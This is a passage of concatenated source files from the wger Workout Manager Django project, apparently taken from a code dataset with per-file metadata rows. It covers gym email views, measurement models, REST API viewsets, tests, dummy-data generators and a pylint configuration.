('gym', '0008_auto_20190618_1617'),
('mailer', '0002_auto_20190618_1617'),
]
operations = [
migrations.AlterField(
model_name='log',
name='gym',
field=models.ForeignKey(
editable=False,
on_delete=django.db.models.deletion.CASCADE,
related_name='email_log',
to='gym.gym',
),
),
]
| 621 | Python | .py | 20 | 21.85 | 60 | 0.564489 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,835 | gym.py | wger-project_wger/wger/mailer/views/gym.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.conf import settings
from django.contrib.auth.mixins import PermissionRequiredMixin
from django.core import mail
from django.http import (
HttpResponseForbidden,
HttpResponseRedirect,
)
from django.shortcuts import get_object_or_404
from django.urls import reverse
from django.views import generic
# Third Party
from formtools.preview import FormPreview
# wger
from wger.gym.models import Gym
from wger.mailer.models import (
CronEntry,
Log,
)
class EmailLogListView(PermissionRequiredMixin, generic.ListView):
"""
Shows a list with all sent emails
"""
model = Log
context_object_name = 'email_list'
template_name = 'mailer/gym/overview.html'
permission_required = 'mailer.add_log'
gym = None
def get_queryset(self):
"""
Can only view emails for own gym
"""
self.gym = get_object_or_404(Gym, pk=self.kwargs['gym_pk'])
return Log.objects.filter(gym=self.gym)
def dispatch(self, request, *args, **kwargs):
"""
Can only view email list for own gym
"""
if not request.user.is_authenticated:
return HttpResponseForbidden()
if request.user.userprofile.gym_id != int(self.kwargs['gym_pk']):
return HttpResponseForbidden()
return super(EmailLogListView, self).dispatch(request, *args, **kwargs)
def get_context_data(self, **kwargs):
"""
Pass additional data to the template
"""
context = super(EmailLogListView, self).get_context_data(**kwargs)
context['gym'] = self.gym
return context
class EmailListFormPreview(FormPreview):
preview_template = 'mailer/gym/preview.html'
form_template = 'mailer/gym/form.html'
list_type = None
gym = None
def parse_params(self, *args, **kwargs):
"""
Save the current recipient type
"""
self.gym = get_object_or_404(Gym, pk=int(kwargs['gym_pk']))
def get_context(self, request, form):
"""
Context for template rendering
Also, check for permissions here. While it is ugly and doesn't really
belong here, it seems it's the best way to do it in a FormPreview
"""
if (
not request.user.is_authenticated
or request.user.userprofile.gym_id != self.gym.id
or not request.user.has_perm('mailer.change_log')
):
return HttpResponseForbidden()
context = super(EmailListFormPreview, self).get_context(request, form)
context['gym'] = self.gym
return context
def process_preview(self, request, form, context):
"""
Send an email to the managers with the current content
"""
for admin in Gym.objects.get_admins(self.gym.pk):
if admin.email:
mail.send_mail(
form.cleaned_data['subject'],
form.cleaned_data['body'],
settings.WGER_SETTINGS['EMAIL_FROM'],
[admin.email],
fail_silently=False,
)
return context
def done(self, request, cleaned_data):
"""
Collect appropriate emails and save to database to send for later
"""
emails = []
# Select all users in the gym
for member in Gym.objects.get_members(self.gym.pk):
if member.email:
emails.append(member.email)
# Make list unique, so people don't get duplicate emails
emails = list(set(emails))
# Save an email log...
email_log = Log()
email_log.gym = self.gym
email_log.user = request.user
email_log.body = cleaned_data['body']
email_log.subject = cleaned_data['subject']
email_log.save()
# ...and bulk create cron entries
CronEntry.objects.bulk_create([CronEntry(log=email_log, email=email) for email in emails])
return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': self.gym.pk}))
| 4,733 | Python | .py | 124 | 30.774194 | 98 | 0.651614 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,836 | test_gym_emails.py | wger-project_wger/wger/mailer/tests/test_gym_emails.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.urls import reverse
# wger
from wger.core.tests.base_testcase import WgerAccessTestCase
class AccessContractTestCase(WgerAccessTestCase):
"""
Test accessing the detail page of a contract
"""
url = reverse('email:email:overview', kwargs={'gym_pk': 1})
user_success = ('manager1', 'manager2')
user_fail = (
'admin',
'general_manager1',
'manager3',
'manager4',
'test',
'member1',
'member2',
'member3',
'member4',
'member5',
)
| 1,196 | Python | .py | 35 | 29.942857 | 78 | 0.708478 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,837 | send-mass-emails.py | wger-project_wger/wger/mailer/management/commands/send-mass-emails.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.conf import settings
from django.core import mail
from django.core.management.base import BaseCommand
# wger
from wger.mailer.models import CronEntry
class Command(BaseCommand):
"""
Sends the prepared mass emails
"""
def handle(self, **options):
"""
Send some mails and remove them from the list
"""
if CronEntry.objects.count():
for email in CronEntry.objects.all()[:100]:
mail.send_mail(
email.log.subject,
email.log.body,
settings.WGER_SETTINGS['EMAIL_FROM'],
[email.email],
fail_silently=True,
)
email.delete()
| 1,413 | Python | .py | 38 | 30.552632 | 78 | 0.668371 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,838 | urls.py | wger-project_wger/wger/measurements/urls.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Django
from django.urls import path
# wger
from wger.core.views.react import ReactView
urlpatterns = [
path(
'',
ReactView.as_view(login_required=True),
name='overview',
),
path(
'category/<int:pk>',
ReactView.as_view(login_required=True),
name='detail',
),
]
| 1,044 | Python | .py | 30 | 31.533333 | 78 | 0.730693 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,839 | apps.py | wger-project_wger/wger/measurements/apps.py | from django.apps import AppConfig
class MeasurementsConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'wger.measurements'
verbose_name = 'Measurements'
| 195 | Python | .py | 5 | 35.2 | 56 | 0.776596 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,840 | __init__.py | wger-project_wger/wger/measurements/__init__.py | # wger
from wger import get_version
VERSION = get_version()
default_app_config = 'wger.measurements.apps.MeasurementsConfig'
| 127 | Python | .py | 4 | 30.25 | 64 | 0.818182 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,841 | category.py | wger-project_wger/wger/measurements/models/category.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
# Django
from django.contrib.auth.models import User
from django.db import models
from django.utils.translation import gettext_lazy as _
class Category(models.Model):
class Meta:
ordering = [
'-name',
]
user = models.ForeignKey(
User,
verbose_name=_('User'),
on_delete=models.CASCADE,
)
name = models.CharField(
verbose_name=_('Name'),
max_length=100,
)
unit = models.CharField(
verbose_name=_('Unit'),
max_length=30,
)
def get_owner_object(self):
"""
Returns the object that has owner information
"""
return self
| 1,402 | Python | .py | 42 | 28.690476 | 78 | 0.696231 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,842 | __init__.py | wger-project_wger/wger/measurements/models/__init__.py | # This file is part of wger Workout Manager <https://github.com/wger-project>.
# Copyright (C) 2013 - 2021 wger Team
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Local
from .category import Category
from .measurement import Measurement
| 879 | Python | .py | 18 | 47.777778 | 79 | 0.774419 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,843 | measurement.py | wger-project_wger/wger/measurements/models/measurement.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
# Standard Library
import datetime
# Django
from django.contrib.auth.models import User
from django.core.validators import (
MaxValueValidator,
MinValueValidator,
)
from django.db import models
from django.utils.translation import gettext_lazy as _
# wger
from wger.measurements.models import Category
class Measurement(models.Model):
class Meta:
unique_together = ('date', 'category')
ordering = [
'-date',
]
category = models.ForeignKey(
Category,
verbose_name=_('User'),
on_delete=models.CASCADE,
)
date = models.DateField(
_('Date'),
default=datetime.datetime.now,
)
value = models.DecimalField(
verbose_name=_('Value'),
max_digits=6,
decimal_places=2,
validators=[
MinValueValidator(0),
MaxValueValidator(5000),
],
)
notes = models.CharField(
verbose_name=_('Description'),
max_length=100,
blank=True,
)
def get_owner_object(self):
"""
Returns the object that has owner information
"""
return self.category
| 1,899 | Python | .py | 61 | 25.967213 | 78 | 0.687637 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,844 | 0002_auto_20210722_1042.py | wger-project_wger/wger/measurements/migrations/0002_auto_20210722_1042.py | # Generated by Django 3.2.3 on 2021-07-22 08:42
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('measurements', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='measurement',
old_name='unit',
new_name='category',
),
migrations.AlterUniqueTogether(
name='measurement',
unique_together={('date', 'category')},
),
migrations.RemoveField(
model_name='measurement',
name='user',
),
]
| 602 | Python | .py | 21 | 20.047619 | 51 | 0.564991 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,845 | 0001_initial.py | wger-project_wger/wger/measurements/migrations/0001_initial.py | # Generated by Django 3.2.3 on 2021-07-08 13:20
import datetime
import django.core.validators
import django.db.models.deletion
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
(
'id',
models.BigAutoField(
auto_created=True, primary_key=True, serialize=False, verbose_name='ID'
),
),
('name', models.CharField(max_length=100, verbose_name='Name')),
('unit', models.CharField(max_length=30, verbose_name='Unit')),
(
'user',
models.ForeignKey(
on_delete=django.db.models.deletion.CASCADE,
to=settings.AUTH_USER_MODEL,
verbose_name='User',
),
),
],
options={
'ordering': ['-name'],
},
),
migrations.CreateModel(
name='Measurement',
fields=[
(
'id',
models.BigAutoField(
auto_created=True, primary_key=True, serialize=False, verbose_name='ID'
),
),
('date', models.DateField(default=datetime.datetime.now, verbose_name='Date')),
(
'value',
models.DecimalField(
decimal_places=2,
max_digits=6,
validators=[
django.core.validators.MinValueValidator(0),
django.core.validators.MaxValueValidator(5000),
],
verbose_name='Value',
),
),
('notes', models.CharField(blank=True, max_length=100, verbose_name='Description')),
(
'unit',
models.ForeignKey(
on_delete=django.db.models.deletion.CASCADE,
to='measurements.category',
verbose_name='User',
),
),
(
'user',
models.ForeignKey(
on_delete=django.db.models.deletion.CASCADE,
to=settings.AUTH_USER_MODEL,
verbose_name='User',
),
),
],
options={
'ordering': ['-date'],
},
),
]
| 2,909 | Python | .py | 81 | 19.185185 | 100 | 0.425585 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,846 | serializers.py | wger-project_wger/wger/measurements/api/serializers.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
from decimal import Decimal
# Third Party
from rest_framework import serializers
# wger
from wger.measurements.models import (
Category,
Measurement,
)
class UnitSerializer(serializers.ModelSerializer):
"""
Measurement unit serializer
"""
class Meta:
model = Category
fields = ['id', 'name', 'unit']
class MeasurementSerializer(serializers.ModelSerializer):
"""
Measurement serializer
"""
# Manually set the serializer to set the coerce_to_string option
value = serializers.DecimalField(
max_digits=6,
decimal_places=2,
min_value=Decimal(0.0),
max_value=Decimal(5000.0),
coerce_to_string=False,
)
class Meta:
model = Measurement
fields = [
'id',
'category',
'date',
'value',
'notes',
]
| 1,621 | Python | .py | 51 | 26.823529 | 78 | 0.694231 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,847 | views.py | wger-project_wger/wger/measurements/api/views.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
import logging
# Third Party
from rest_framework import viewsets
from rest_framework.permissions import IsAuthenticated
# wger
from wger.measurements.api.serializers import (
MeasurementSerializer,
UnitSerializer,
)
from wger.measurements.models import (
Category,
Measurement,
)
logger = logging.getLogger(__name__)
class CategoryViewSet(viewsets.ModelViewSet):
"""
API endpoint for measurement units
"""
permission_classes = [IsAuthenticated]
serializer_class = UnitSerializer
is_private = True
ordering_fields = '__all__'
filterset_fields = ['id', 'name', 'unit']
def get_queryset(self):
"""
Only allow access to appropriate objects
"""
# REST API generation
if getattr(self, 'swagger_fake_view', False):
return Category.objects.none()
return Category.objects.filter(user=self.request.user)
def perform_create(self, serializer):
"""
Set the owner
"""
serializer.save(user=self.request.user)
class MeasurementViewSet(viewsets.ModelViewSet):
"""
API endpoint for measurements
"""
permission_classes = [IsAuthenticated]
serializer_class = MeasurementSerializer
is_private = True
ordering_fields = '__all__'
filterset_fields = [
'id',
'category',
'date',
'value',
]
def get_queryset(self):
"""
Only allow access to appropriate objects
"""
# REST API generation
if getattr(self, 'swagger_fake_view', False):
return Measurement.objects.none()
return Measurement.objects.filter(category__user=self.request.user)
| 2,462 | Python | .py | 74 | 28.256757 | 78 | 0.698439 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,848 | test_categories.py | wger-project_wger/wger/measurements/tests/test_categories.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
# wger
from wger.core.tests import api_base_test
from wger.measurements.models import Category
class UnitApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the measurement units endpoint
"""
pk = 1
resource = Category
private_resource = True
data = {
'name': 'Legs',
'unit': 'cm',
}
def get_resource_name(self):
return 'measurement-category'
| 1,151 | Python | .py | 31 | 34.032258 | 78 | 0.745291 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,849 | test_measurements.py | wger-project_wger/wger/measurements/tests/test_measurements.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# Standard Library
# wger
from wger.core.tests import api_base_test
from wger.measurements.models import Measurement
class MeasurementsApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the measurements endpoint
"""
pk = 1
resource = Measurement
private_resource = True
data = {
'category': 2,
'date': '2021-08-12',
'value': 99.99,
}
| 1,119 | Python | .py | 30 | 34.3 | 78 | 0.746544 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,850 | __init__.py | wger-project_wger/wger/measurements/tests/__init__.py | # This file is part of wger Workout Manager <https://github.com/wger-project>.
# Copyright (C) 2013 - 2021 wger Team
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
| 802 | Python | .py | 15 | 52.466667 | 79 | 0.766201 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,851 | test_generator.py | wger-project_wger/wger/measurements/tests/test_generator.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.core.management import call_command
# wger
from wger.core.tests.base_testcase import WgerTestCase
from wger.measurements.models import (
Category,
Measurement,
)
class MeasurementGeneratorTestCase(WgerTestCase):
def test_generator_categories(self):
# Arrange
Category.objects.all().delete()
# Act
call_command(
'dummy-generator-measurement-categories',
'--nr-categories',
10,
)
# Assert
self.assertEqual(Category.objects.filter(user_id=1).count(), 10)
def test_generator_entries(self):
# Arrange
Category.objects.all().delete()
# Act
call_command(
'dummy-generator-measurement-categories',
'--nr-categories',
1,
)
call_command(
'dummy-generator-measurements',
'--nr-measurements',
10,
)
# Assert
self.assertEqual(Measurement.objects.filter(category__user_id=1).count(), 10)
| 1,695 | Python | .py | 49 | 28.265306 | 85 | 0.678681 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,852 | dummy-generator-measurements.py | wger-project_wger/wger/measurements/management/commands/dummy-generator-measurements.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import datetime
import logging
import random
# Django
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
# wger
from wger.measurements.models import (
Category,
Measurement,
)
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""
Dummy generator for measurement entries
"""
help = 'Dummy generator for measurement entries'
def add_arguments(self, parser):
parser.add_argument(
'--nr-measurements',
action='store',
default=40,
dest='nr_measurements',
type=int,
help='The number of measurement entries per category (default: 40)',
)
parser.add_argument(
'--category-id',
action='store',
dest='category_id',
type=int,
help='Add only to the specified measurement category ID (default: all)',
)
parser.add_argument(
'--user-id',
action='store',
dest='user_id',
type=int,
help='Add only to the specified user-ID (default: all users)',
)
def handle(self, **options):
self.stdout.write(f"** Generating {options['nr_measurements']} dummy measurements per user")
users = (
[User.objects.get(pk=options['user_id'])] if options['user_id'] else User.objects.all()
)
new_entries = []
for user in users:
categories = (
[Category.objects.get(pk=options['category_id'])]
if options['category_id']
else Category.objects.filter(user=user)
)
self.stdout.write(f'- processing user {user.username}')
for category in categories:
base_value = random.randint(10, 100)
for i in range(options['nr_measurements']):
date = datetime.date.today() - datetime.timedelta(days=2 * i)
if Measurement.objects.filter(category=category, date=date).exists():
continue
measurement = Measurement(
category=category,
value=base_value + 0.5 * i + random.randint(-20, 10),
date=date,
)
new_entries.append(measurement)
# Bulk-create the entries
Measurement.objects.bulk_create(new_entries)
| 3,143 | Python | .py | 81 | 29.395062 | 100 | 0.611166 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,853 | dummy-generator-measurement-categories.py | wger-project_wger/wger/measurements/management/commands/dummy-generator-measurement-categories.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import logging
import random
import sys
# Django
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
# wger
from wger.measurements.models import Category
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""
Dummy generator for measurement categories
"""
categories = [
{'name': 'Biceps', 'unit': 'cm'},
{'name': 'Quads', 'unit': 'cm'},
{'name': 'Body fat', 'unit': '%'},
{'name': 'Smartness', 'unit': 'IQ'},
{'name': 'Hotness', 'unit': '°C'},
{'name': 'Strength', 'unit': 'KN'},
{'name': 'Height', 'unit': 'cm'},
{'name': 'Facebook friends', 'unit': ''},
{'name': 'Tonnes moved', 'unit': 'T'},
{'name': 'Weight of my dog', 'unit': 'lb'},
]
help = 'Dummy generator for measurement categories'
def add_arguments(self, parser):
parser.add_argument(
'--nr-categories',
action='store',
default=5,
dest='nr_categories',
type=int,
help='The number of measurement categories to create per user (default: 5, max: 10)',
)
parser.add_argument(
'--user-id',
action='store',
dest='user_id',
type=int,
help='Add only to the specified user-ID (default: all users)',
)
def handle(self, **options):
self.stdout.write(
f"** Generating {options['nr_categories']} dummy measurement categories per user"
)
users = (
[User.objects.get(pk=options['user_id'])] if options['user_id'] else User.objects.all()
)
if options['nr_categories'] > 10:
print(options['nr_categories'])
print('10 Categories is the maximum allowed')
sys.exit()
for user in users:
self.stdout.write(f'- processing user {user.username}')
for measurement_cat in random.choices(self.categories, k=options['nr_categories']):
cat = Category(
name=measurement_cat['name'],
unit=measurement_cat['unit'],
user=user,
)
cat.save()
| 2,917 | Python | .py | 76 | 30.394737 | 99 | 0.602619 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,854 | .python-lint | wger-project_wger/.github/linters/.python-lint | [MASTER]
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-whitelist=
# Specify a score threshold to be exceeded before program exits with error.
fail-under=10
# Add files or directories to the blacklist. They should be base names, not
# paths.
ignore=tests,migrations
# Add files or directories matching the regex patterns to the blacklist. The
# regex matches against base names, not paths.
ignore-patterns=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
#init-hook=
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
# number of processors available to use.
jobs=0
# Control the amount of potential inferred values when inferring a single
# object. This can help the performance when dealing with large functions or
# complex, nested conditions.
limit-inference-results=100
# List of plugins (as comma separated values of python module names) to load,
# usually to register additional checkers.
load-plugins=
# Pickle collected data for later comparisons.
persistent=yes
# When enabled, pylint would attempt to guess common misconfiguration and emit
# user-friendly hints instead of false-positive error messages.
suggestion-mode=yes
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED.
confidence=
# Disable the message, report, category or checker with the given id(s). You
# can either give multiple identifiers separated by comma (,) or put this
# option multiple times (only on the command line, not in the configuration
# file where it should appear only once). You can also use "--disable=all" to
# disable everything first and then re-enable specific checks. For example, if
# you want to run only the similarities checker, you can use "--disable=all
# --enable=similarities". If you want to run only the classes checker, but have
# no Warning level messages displayed, use "--disable=all --enable=classes
# --disable=W".
disable=import-error,
print-statement,
parameter-unpacking,
unpacking-in-except,
old-raise-syntax,
backtick,
long-suffix,
old-ne-operator,
old-octal-literal,
import-star-module-level,
non-ascii-bytes-literal,
raw-checker-failed,
bad-inline-option,
locally-disabled,
file-ignored,
suppressed-message,
useless-suppression,
deprecated-pragma,
use-symbolic-message-instead,
duplicate-code,
apply-builtin,
basestring-builtin,
buffer-builtin,
cmp-builtin,
coerce-builtin,
execfile-builtin,
file-builtin,
long-builtin,
raw_input-builtin,
reduce-builtin,
standarderror-builtin,
unicode-builtin,
xrange-builtin,
coerce-method,
delslice-method,
getslice-method,
setslice-method,
no-absolute-import,
old-division,
dict-iter-method,
dict-view-method,
next-method-called,
metaclass-assignment,
indexing-exception,
raising-string,
reload-builtin,
oct-method,
hex-method,
nonzero-method,
cmp-method,
input-builtin,
round-builtin,
intern-builtin,
unichr-builtin,
map-builtin-not-iterating,
zip-builtin-not-iterating,
range-builtin-not-iterating,
filter-builtin-not-iterating,
using-cmp-argument,
eq-without-hash,
div-method,
idiv-method,
rdiv-method,
exception-message-attribute,
invalid-str-codec,
sys-max-int,
bad-python3-import,
deprecated-string-function,
deprecated-str-translate-call,
deprecated-itertools-function,
deprecated-types-field,
next-method-defined,
dict-items-not-iterating,
dict-keys-not-iterating,
dict-values-not-iterating,
deprecated-operator-function,
deprecated-urllib-function,
xreadlines-attribute,
deprecated-sys-function,
exception-escape,
comprehension-escape
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifiers separated by comma (,) or put this option
# multiple times (only on the command line, not in the configuration file where
# it should appear only once). See also the "--disable" option for examples.
enable=c-extension-no-member
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'error', 'warning', 'refactor', and 'convention'
# which contain the number of messages in each category, as well as 'statement'
# which is the total number of statements analyzed. This score is used by the
# global evaluation report (RP0004).
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details.
#msg-template=
